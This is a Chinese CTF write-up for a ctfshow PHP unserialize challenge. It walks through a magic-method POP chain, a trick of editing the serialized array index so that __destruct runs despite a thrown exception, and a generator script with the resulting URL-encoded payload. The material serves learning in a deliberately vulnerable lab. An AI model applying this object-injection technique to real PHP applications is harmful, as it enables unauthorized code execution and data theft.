作者:小丘 | 来源:互联网 | 2023-10-12 10:40
因为一个 __destruct函数的GC回收机制 没学过,所以没解出来。
进入题目,给了源码:
include("./HappyYear.php");
class one {public $object;public function MeMeMe() {array_walk($this, function($fn, $prev){if ($fn[0] === "Happy_func" && $prev === "year_parm") {global $talk;echo "$talk"."";global $flag;echo $flag;}});}public function __destruct() {@$this->object->add();}public function __toString() {return $this->object->string;}
}class second {protected $filename;protected function addMe() {return "Wow you have sovled".$this->filename;}public function __call($func, $args) {call_user_func([$this, $func."Me"], $args);}
}class third {private $string;public function __construct($string) {$this->string = $string;}public function __get($name) {$var = $this->$name;$var[$name]();}
}if (isset($_GET["ctfshow"])) {$a=unserialize($_GET['ctfshow']);throw new Exception("高一新生报道");
} else {highlight_file(__FILE__);
}
要输出flag,就要调用方法MeMeMe()
一眼看过去,魔术方法__get里面的$var[$name]();都可控,可以利用 数组调用类中方法
数组调用类中方法
关于数组调用类中的方法,再给出几个详细的例子,也是算学得更精了:
##例子1
error_reporting(0);class one{public function test(){echo "123";}
}
$a=array(one,test);
$a();

##例子2
还有一种是形似题目这种调用数组名的:

可以从调试窗口看到得到清晰的划分。
输出:
123
接下来就是触发各类魔方方法了
可以看之前的一篇文章
我这里就把链子理一下:
one::__destruct => second::__call=> second::addMe => one::__toString => third::__get => one::MeMeMe
__destruct函数的GC回收机制:
参考:
https://www.jianshu.com/p/d73b3ca418b0
class one{public function __destruct(){echo "__destruct";}
}$a = new one();throw new Exception("高一新生报道");

解决方法:
class one{public $string;public function __destruct(){echo "__destruct";}
}$a=new one();$b=array($a,NULL);echo serialize($b);
以上代码序列化的结果:
a:2:{i:0;O:3:"one":0:{}i:1;N;}
把后面的i:1改成i:0,达到提前销毁对象的目的,从而执行魔术方法__destruct
payload:
/*** @Author: F10wers_13eiCheng* @Date: 2022-02-01 11:25:02* @Last Modified by: F10wers_13eiCheng* @Last Modified time: 2022-02-07 15:08:18*/
include("./HappyYear.php");class one {public $year_parm=array("Happy_func");public $object;public function MeMeMe() {array_walk($this, function($fn, $prev){if ($fn[0] === "Happy_func" && $prev === "year_parm") {global $talk;echo "$talk"."";global $flag;echo $flag;}});}public function __destruct() {@$this->object->add();}public function __toString() {return $this->object->string;}
}class second {public $filename;protected function addMe() {return "Wow you have sovled".$this->filename;}public function __call($func, $args) {call_user_func([$this, $func."Me"], $args);}
}class third {private $string;public function __construct($string) {$this->string = $string;}public function __get($name) {$var = $this->$name;$var[$name]();}
}$a=new one();
$a->object=new second();
$a->object->filename=new one();
$a->object->filename->object=new third(array("string"=>[new one(),MeMeMe]));
$b = array($a,NULL);
echo urlencode(serialize($b));
生成的payload:
a%3A2%3A%7Bi%3A0%3BO%3A3%3A%22one%22%3A2%3A%7Bs%3A9%3A%22year_parm%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A10%3A%22Happy_func%22%3B%7Ds%3A6%3A%22object%22%3BO%3A6%3A%22second%22%3A1%3A%7Bs%3A8%3A%22filename%22%3BO%3A3%3A%22one%22%3A2%3A%7Bs%3A9%3A%22year_parm%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A10%3A%22Happy_func%22%3B%7Ds%3A6%3A%22object%22%3BO%3A5%3A%22third%22%3A1%3A%7Bs%3A13%3A%22%00third%00string%22%3Ba%3A1%3A%7Bs%3A6%3A%22string%22%3Ba%3A2%3A%7Bi%3A0%3BO%3A3%3A%22one%22%3A2%3A%7Bs%3A9%3A%22year_parm%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A10%3A%22Happy_func%22%3B%7Ds%3A6%3A%22object%22%3BN%3B%7Di%3A1%3Bs%3A6%3A%22MeMeMe%22%3B%7D%7D%7D%7D%7D%7Di%3A0%3BN%3B%7D
标注颜色的是由1改成0,达到提前销毁变量触发__destruct的目的
